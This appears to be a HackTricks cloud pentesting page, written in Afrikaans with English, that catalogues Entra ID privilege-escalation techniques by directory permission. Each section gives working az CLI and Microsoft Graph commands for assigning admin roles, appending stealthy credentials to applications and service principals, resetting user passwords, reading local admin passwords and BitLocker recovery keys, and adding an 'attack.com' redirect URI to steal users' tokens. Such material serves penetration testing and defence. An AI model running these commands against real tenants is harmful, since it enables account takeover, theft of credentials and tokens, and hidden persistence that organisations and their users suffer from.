# Az - EntraID Privesc

{{#include ../../../../banners/hacktricks-training.md}}

> [!NOTE]
> Let wel dat **nie alle gedetailleerde magte** wat ingeboude rolle in Entra ID het **in aanmerking kom om in custom roles gebruik te word.**

## Rolle

### Rol: Privileged Role Administrator <a href="#c9d4cde0-7dcc-45d5-aa95-59d198ae84b2" id="c9d4cde0-7dcc-45d5-aa95-59d198ae84b2"></a>

Hierdie rol bevat die nodige gedetailleerde magte om rolle aan principals toe te ken en om rolle meer magte te gee. Albei aksies kan misbruik word om bevoegdhede te eskaleer.

- Ken rol toe aan 'n gebruiker:
```bash
# List enabled built-in roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directoryRoles"

# Give role (Global Administrator?) to a user
roleId="<roleId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/directoryRoles/$roleId/members/\$ref" \
--headers "Content-Type=application/json" \
--body "{
\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\"
}"
```
- Voeg meer regte by 'n rol:
```bash
# List only custom roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions" | jq '.value[] | select(.isBuiltIn == false)'

# Change the permissions of a custom role
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions/<role-id>" \
--headers "Content-Type=application/json" \
--body '{
"description": "Update basic properties of application registrations",
"rolePermissions": [
{
"allowedResourceActions": [
"microsoft.directory/applications/credentials/update"
]
}
]
}'
```
## Toepassings

### `microsoft.directory/applications/credentials/update`

Dit laat 'n attacker toe om **add credentials** (passwords of certificates) aan bestaande toepassings te voeg. As die toepassing privileged permissions het, kan die attacker authenticate as daardie toepassing en daardie privileges verkry.
```bash
# Generate a new password without overwritting old ones
az ad app credential reset --id <appId> --append
# Generate a new certificate without overwritting old ones
az ad app credential reset --id <appId> --create-cert
```
### `microsoft.directory/applications.myOrganization/credentials/update`

Dit laat dieselfde aksies toe as `applications/credentials/update`, maar is beperk tot toepassings binne 'n enkele directory.
```bash
az ad app credential reset --id <appId> --append
```
### `microsoft.directory/applications/owners/update`

Deur hulself as eienaar by te voeg, kan 'n aanvaller die toepassing manipuleer, insluitend credentials en permissions.
```bash
az ad app owner add --id <AppId> --owner-object-id <UserId>
az ad app credential reset --id <appId> --append

# You can check the owners with
az ad app owner list --id <appId>
```
### `microsoft.directory/applications/allProperties/update`

'n aanvaller kan 'n redirect URI by applications voeg wat deur gebruikers van die tenant gebruik word, en dan login URLs wat die nuwe redirect URL gebruik met hulle deel om hul tokens te steel. Let wel dat as die gebruiker reeds by die application aangemeld was, die authentication outomaties sal plaasvind sonder dat die gebruiker iets hoef te aanvaar.

Let ook daarop dat dit moontlik is om die permissions wat die application versoek te verander om meer permissions te verkry, maar in hierdie geval sal die gebruiker weer die prompt wat vir al die permissions vra, moet aanvaar.
```bash
# Get current redirect uris
az ad app show --id ea693289-78f3-40c6-b775-feabd8bef32f --query "web.redirectUris"
# Add a new redirect URI (make sure to keep the configured ones)
az ad app update --id <app-id> --web-redirect-uris "https://original.com/callback https://attack.com/callback"
```
### Applications Privilege Escalation

**As explained in [this post](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)** was dit baie algemeen om default applications te vind wat toegekende **API permissions** van tipe **`Application`** het. 'n API Permission (soos dit in die Entra ID-konsol genoem word) van tipe **`Application`** beteken dat die application die API kan benader en aksies kan uitvoer sonder 'n gebruikerskonteks (sonder 'n gebruiker wat by die app aanmeld), en sonder om Entra ID-rolle daarvoor nodig te hê. Daarom is dit baie algemeen om **high privileged applications in every Entra ID tenant** te vind.

Indien 'n attacker enige permission/role het wat toelaat om **update the credentials (secret o certificate) of the application**, kan die attacker 'n nuwe credential genereer en dit dan gebruik om **authenticate as the application**, en sodoende al die permissions wat die application het te bekom.

Let wel dat die genoemde blog sekere **API permissions** van algemene Microsoft default applications deel; Microsoft het egter 'n tyd ná hierdie verslag die probleem reggestel en dit is nou nie meer moontlik om as Microsoft applications in te login nie. Dit bly egter moontlik om **custom applications with high privileges that could be abused** te vind.

Hoe om die API permissions van 'n application te lys:
```bash
# Get "API Permissions" of an App
## Get the ResourceAppId
az ad app show --id "<app-id>" --query "requiredResourceAccess" --output json
## e.g.
[
{
"resourceAccess": [
{
"id": "e1fe6dd8-ba31-4d61-89e7-88639da4683d",
"type": "Scope"
},
{
"id": "d07a8cc0-3d51-4b77-b3b0-32704d1f69fa",
"type": "Role"
}
],
"resourceAppId": "00000003-0000-0000-c000-000000000000"
}
]

## For the perms of type "Scope"
az ad sp show --id <ResourceAppId> --query "oauth2PermissionScopes[?id=='<id>'].value" -o tsv
az ad sp show --id "00000003-0000-0000-c000-000000000000" --query "oauth2PermissionScopes[?id=='e1fe6dd8-ba31-4d61-89e7-88639da4683d'].value" -o tsv

## For the perms of type "Role"
az ad sp show --id <ResourceAppId> --query "appRoles[?id=='<id>'].value" -o tsv
az ad sp show --id 00000003-0000-0000-c000-000000000000 --query "appRoles[?id=='d07a8cc0-3d51-4b77-b3b0-32704d1f69fa'].value" -o tsv
```
<details>
<summary>Vind alle toepassings se API-permissies en merk APIs wat aan Microsoft behoort</summary>
```bash
#!/usr/bin/env bash
set -euo pipefail

# Known Microsoft first-party owner organization IDs.
MICROSOFT_OWNER_ORG_IDS=(
"f8cdef31-a31e-4b4a-93e4-5f571e91255a"
"72f988bf-86f1-41af-91ab-2d7cd011db47"
)

is_microsoft_owner() {
local owner="$1"
local id
for id in "${MICROSOFT_OWNER_ORG_IDS[@]}"; do
if [ "$owner" = "$id" ]; then
return 0
fi
done
return 1
}

get_permission_value() {
local resource_app_id="$1"
local perm_type="$2"
local perm_id="$3"
local key value
key="${resource_app_id}|${perm_type}|${perm_id}"

value="$(awk -F '\t' -v k="$key" '$1==k {print $2; exit}' "$tmp_perm_cache")"
if [ -n "$value" ]; then
printf '%s\n' "$value"
return 0
fi

if [ "$perm_type" = "Scope" ]; then
value="$(az ad sp show --id "$resource_app_id" --query "oauth2PermissionScopes[?id=='$perm_id'].value | [0]" -o tsv 2>/dev/null || true)"
elif [ "$perm_type" = "Role" ]; then
value="$(az ad sp show --id "$resource_app_id" --query "appRoles[?id=='$perm_id'].value | [0]" -o tsv 2>/dev/null || true)"
else
value=""
fi

[ -n "$value" ] || value="UNKNOWN"
printf '%s\t%s\n' "$key" "$value" >> "$tmp_perm_cache"
printf '%s\n' "$value"
}

command -v az >/dev/null 2>&1 || { echo "az CLI not found" >&2; exit 1; }
command -v jq >/dev/null 2>&1 || { echo "jq not found" >&2; exit 1; }
az account show >/dev/null

apps_json="$(az ad app list --all --query '[?length(requiredResourceAccess) > `0`].[displayName,appId,requiredResourceAccess]' -o json)"

tmp_map="$(mktemp)"
tmp_ids="$(mktemp)"
tmp_perm_cache="$(mktemp)"
trap 'rm -f "$tmp_map" "$tmp_ids" "$tmp_perm_cache"' EXIT

# Build unique resourceAppId values used by applications.
jq -r '.[][2][]?.resourceAppId' <<<"$apps_json" | sort -u > "$tmp_ids"

# Resolve resourceAppId -> owner organization + API display name.
while IFS= read -r rid; do
[ -n "$rid" ] || continue
sp_json="$(az ad sp show --id "$rid" --query '{owner:appOwnerOrganizationId,name:displayName}' -o json 2>/dev/null || true)"
owner="$(jq -r '.owner // "UNKNOWN"' <<<"$sp_json")"
name="$(jq -r '.name // "UNKNOWN"' <<<"$sp_json")"
printf '%s\t%s\t%s\n' "$rid" "$owner" "$name" >> "$tmp_map"
done < "$tmp_ids"

echo -e "appDisplayName\tappId\tresourceApiDisplayName\tresourceAppId\tisMicrosoft\tpermissions"

# Print all app API permissions and mark if the target API is Microsoft-owned.
while IFS= read -r row; do
app_name="$(jq -r '.[0]' <<<"$row")"
app_id="$(jq -r '.[1]' <<<"$row")"

while IFS= read -r rra; do
resource_app_id="$(jq -r '.resourceAppId' <<<"$rra")"
map_line="$(awk -F '\t' -v id="$resource_app_id" '$1==id {print; exit}' "$tmp_map")"
owner_org="$(awk -F'\t' '{print $2}' <<<"$map_line")"
resource_name="$(awk -F'\t' '{print $3}' <<<"$map_line")"

[ -n "$owner_org" ] || owner_org="UNKNOWN"
[ -n "$resource_name" ] || resource_name="UNKNOWN"

if is_microsoft_owner "$owner_org"; then
is_ms="true"
else
is_ms="false"
fi

permissions_csv=""
while IFS= read -r access; do
perm_type="$(jq -r '.type' <<<"$access")"
perm_id="$(jq -r '.id' <<<"$access")"
perm_value="$(get_permission_value "$resource_app_id" "$perm_type" "$perm_id")"
perm_label="${perm_type}:${perm_value}"
if [ -z "$permissions_csv" ]; then
permissions_csv="$perm_label"
else
permissions_csv="${permissions_csv},${perm_label}"
fi
done < <(jq -c '.resourceAccess[]' <<<"$rra")

echo -e "${app_name}\t${app_id}\t${resource_name}\t${resource_app_id}\t${is_ms}\t${permissions_csv}"
done < <(jq -c '.[2][]' <<<"$row")
done < <(jq -c '.[]' <<<"$apps_json")
```
</details>

## Service Principals

### `microsoft.directory/servicePrincipals/credentials/update`

Dit laat 'n attacker toe om credentials by bestaande service principals te voeg. As die service principal verhoogde privileges het, kan die attacker daardie privileges aanneem.
```bash
az ad sp credential reset --id <sp-id> --append
```
> [!CAUTION]
> Die nuwe gegenereerde wagwoord sal nie in die web console verskyn nie, so dit kan 'n stealth manier wees om persistence oor 'n service principal te behou.\
> Vanaf die API kan hulle gevind word met: `az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json`

As jy die fout `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."` kry, is dit omdat **dit nie moontlik is om die passwordCredentials property te wysig** van die SP nie en eers moet jy dit ontsluit. Hiervoor het jy 'n permission (`microsoft.directory/applications/allProperties/update`) nodig wat jou toelaat om die volgende uit te voer:
```bash
az rest --method PATCH --url https://graph.microsoft.com/v1.0/applications/<sp-object-id> --body '{"servicePrincipalLockConfiguration": null}'
```
### `microsoft.directory/servicePrincipals/synchronizationCredentials/manage`

Dit laat 'n attacker toe om credentials by bestaande service principals te voeg. As die service principal elevated privileges het, kan die attacker daardie privileges aanneem.
```bash
az ad sp credential reset --id <sp-id> --append
```
### `microsoft.directory/servicePrincipals/owners/update`

Soortgelyk aan toepassings, laat hierdie toestemming toe om meer eienaars by 'n service principal te voeg. Om 'n service principal te besit, bied dit beheer oor sy inlogbewyse en toestemmings.
```bash
# Add new owner
spId="<spId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$spId/owners/\$ref" \
--headers "Content-Type=application/json" \
--body "{
\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\"
}"

az ad sp credential reset --id <sp-id> --append

# You can check the owners with
az ad sp owner list --id <spId>
```
> [!CAUTION]
> Nadat ek 'n nuwe owner bygevoeg het, het ek probeer om dit te verwyder, maar die API het geantwoord dat die DELETE-metode nie ondersteun is nie, selfs al is dit die metode wat jy moet gebruik om die owner te verwyder. Dus kan jy **deesdae nie owners verwyder nie**.

### `microsoft.directory/servicePrincipals/disable` and `enable`

Hierdie toestemmings laat toe om service principals te disable en te enable. 'n Aanvaller kan hierdie toestemming gebruik om 'n service principal wat hy op een of ander manier kan bekom te enable om sodoende bevoegdhede te eskaleer.

Neem kennis dat vir hierdie tegniek die aanvaller meer toestemmings nodig sal hê om die ge-enablede service principal oor te neem.
```bash
# Disable
az ad sp update --id <ServicePrincipalId> --account-enabled false

# Enable
az ad sp update --id <ServicePrincipalId> --account-enabled true
```
#### `microsoft.directory/servicePrincipals/getPasswordSingleSignOnCredentials` & `microsoft.directory/servicePrincipals/managePasswordSingleSignOnCredentials`

Hierdie toestemmings laat toe om credentials vir single sign-on te skep en te kry, wat toegang tot derdeparty-toepassings kan gee.
```bash
# Generate SSO creds for a user or a group
spID="<spId>"
user_or_group_id="<id>"
username="<username>"
password="<password>"
az rest --method POST \
--uri "https://graph.microsoft.com/beta/servicePrincipals/$spID/createPasswordSingleSignOnCredentials" \
--headers "Content-Type=application/json" \
--body "{\"id\": \"$user_or_group_id\", \"credentials\": [{\"fieldId\": \"param_username\", \"value\": \"$username\", \"type\": \"username\"}, {\"fieldId\": \"param_password\", \"value\": \"$password\", \"type\": \"password\"}]}"


# Get credentials of a specific credID
credID="<credID>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$credID/getPasswordSingleSignOnCredentials" \
--headers "Content-Type=application/json" \
--body "{\"id\": \"$credID\"}"
```
---

## Groepe

### `microsoft.directory/groups/allProperties/update`

Hierdie toestemming maak dit moontlik om gebruikers by privileged groups te voeg, wat tot privilege escalation kan lei.
```bash
az ad group member add --group <GroupName> --member-id <UserId>
```
**Let op**: Hierdie toestemming sluit Entra ID role-assignable groups uit.

### `microsoft.directory/groups/owners/update`

Hierdie toestemming maak dit moontlik om 'n eienaar van groepe te word. 'n Eienaar van 'n groep kan groepslidmaatskap en instellings beheer, wat potensieel bevoegdhede na die groep kan eskaleer.
```bash
az ad group owner add --group <GroupName> --owner-object-id <UserId>
az ad group member add --group <GroupName> --member-id <UserId>
```
**Let wel**: Hierdie toestemming sluit Entra ID roltoewysbare groepe uit.

### `microsoft.directory/groups/members/update`

Hierdie toestemming laat toe om lede by 'n groep te voeg. 'n Aanvaller kan homself of kwaadwillige rekeninge by bevoorregte groepe voeg, wat verhoogde toegang kan gee.
```bash
az ad group member add --group <GroupName> --member-id <UserId>
```
### `microsoft.directory/groups/dynamicMembershipRule/update`

Hierdie toestemming laat toe om membership rule in dynamic group op te dateer. An attacker kan dynamic rules wysig om homself in privileged groups in te sluit sonder eksplisiete toevoeging.
```bash
groupId="<group-id>"
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/groups/$groupId" \
--headers "Content-Type=application/json" \
--body '{
"membershipRule": "(user.otherMails -any (_ -contains \"security\")) -and (user.userType -eq \"guest\")",
"membershipRuleProcessingState": "On"
}'
```
**Nota**: Hierdie toestemming sluit Entra ID role-assignable groups uit.

### Dynamic Groups Privesc

Dit kan moontlik wees dat gebruikers escalate privileges deur hul eie eienskappe te wysig sodat hulle as lede van dynamic groups bygevoeg word. Vir meer inligting sien:

{{#ref}}
dynamic-groups.md
{{#endref}}

## Gebruikers

### `microsoft.directory/users/password/update`

Hierdie toestemming maak dit moontlik om die wagwoord van nie-admin gebruikers terug te stel, wat 'n potensiële aanvaller in staat stel om privileges te escalate na ander gebruikers. Hierdie toestemming kan nie aan custom roles toegewys word nie.
```bash
az ad user update --id <user-id> --password "kweoifuh.234"
```
### `microsoft.directory/users/basic/update`

Hierdie voorreg laat toe om die eienskappe van die gebruiker te wysig. Dit is algemeen om dinamiese groepe te vind wat gebruikers byvoeg gebaseer op eienskapwaardes; daarom kan hierdie toestemming 'n gebruiker toelaat om die nodige eienskapswaarde te stel om lid van 'n spesifieke dinamiese groep te word en sodoende voorregte te eskaleer.
```bash
#e.g. change manager of a user
victimUser="<userID>"
managerUser="<userID>"
az rest --method PUT \
--uri "https://graph.microsoft.com/v1.0/users/$managerUser/manager/\$ref" \
--headers "Content-Type=application/json" \
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/users/$managerUser"}'

#e.g. change department of a user
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/users/$victimUser" \
--headers "Content-Type=application/json" \
--body "{\"department\": \"security\"}"
```
## Conditional Access Policies & MFA bypass

Verkeerd gekonfigureerde conditional access policies wat MFA vereis, kan omseil word — kyk:

{{#ref}}
az-conditional-access-policies-mfa-bypass.md
{{#endref}}

## Toestelle

### `microsoft.directory/devices/registeredOwners/update`

Hierdie toestemming maak dit vir aanvallers moontlik om hulself as eienaars van toestelle aan te wys, sodat hulle beheer of toegang tot toestelspesifieke instellings en data kan verkry.
```bash
deviceId="<deviceId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/devices/$deviceId/owners/\$ref" \
--headers "Content-Type=application/json" \
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/directoryObjects/$userId"}'
```
### `microsoft.directory/devices/registeredUsers/update`

Hierdie toestemming stel aanvallers in staat om hul rekening aan toestelle te koppel om toegang te kry of om sekuriteitsbeleide te omseil.
```bash
deviceId="<deviceId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/devices/$deviceId/registeredUsers/\$ref" \
--headers "Content-Type=application/json" \
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/directoryObjects/$userId"}'
```
### `microsoft.directory/deviceLocalCredentials/password/read`

Hierdie toestemming laat attackers toe om die eienskappe van die rugsteun-credentials van plaaslike administrateurrekeninge op Microsoft Entra-aangeslote toestelle te lees, insluitend die wagwoord
```bash
# List deviceLocalCredentials
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directory/deviceLocalCredentials"

# Get credentials
deviceLC="<deviceLCID>"
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directory/deviceLocalCredentials/$deviceLCID?\$select=credentials" \
```
## BitlockerKeys

### `microsoft.directory/bitlockerKeys/key/read`

Hierdie toestemming maak toegang tot BitLocker-sleutels moontlik, wat 'n aanvaller in staat kan stel om skywe te ontsleutel en sodoende die vertroulikheid van data in gevaar stel.
```bash
# List recovery keys
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys"

# Get key
recoveryKeyId="<recoveryKeyId>"
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys/$recoveryKeyId?\$select=key"
```
## Ander interessante toestemmings (TODO)

- `microsoft.directory/applications/permissions/update`
- `microsoft.directory/servicePrincipals/permissions/update`
- `microsoft.directory/applications.myOrganization/allProperties/update`
- `microsoft.directory/applications/allProperties/update`
- `microsoft.directory/servicePrincipals/appRoleAssignedTo/update`
- `microsoft.directory/applications/appRoles/update`
- `microsoft.directory/applications.myOrganization/permissions/update`

{{#include ../../../../banners/hacktricks-training.md}}
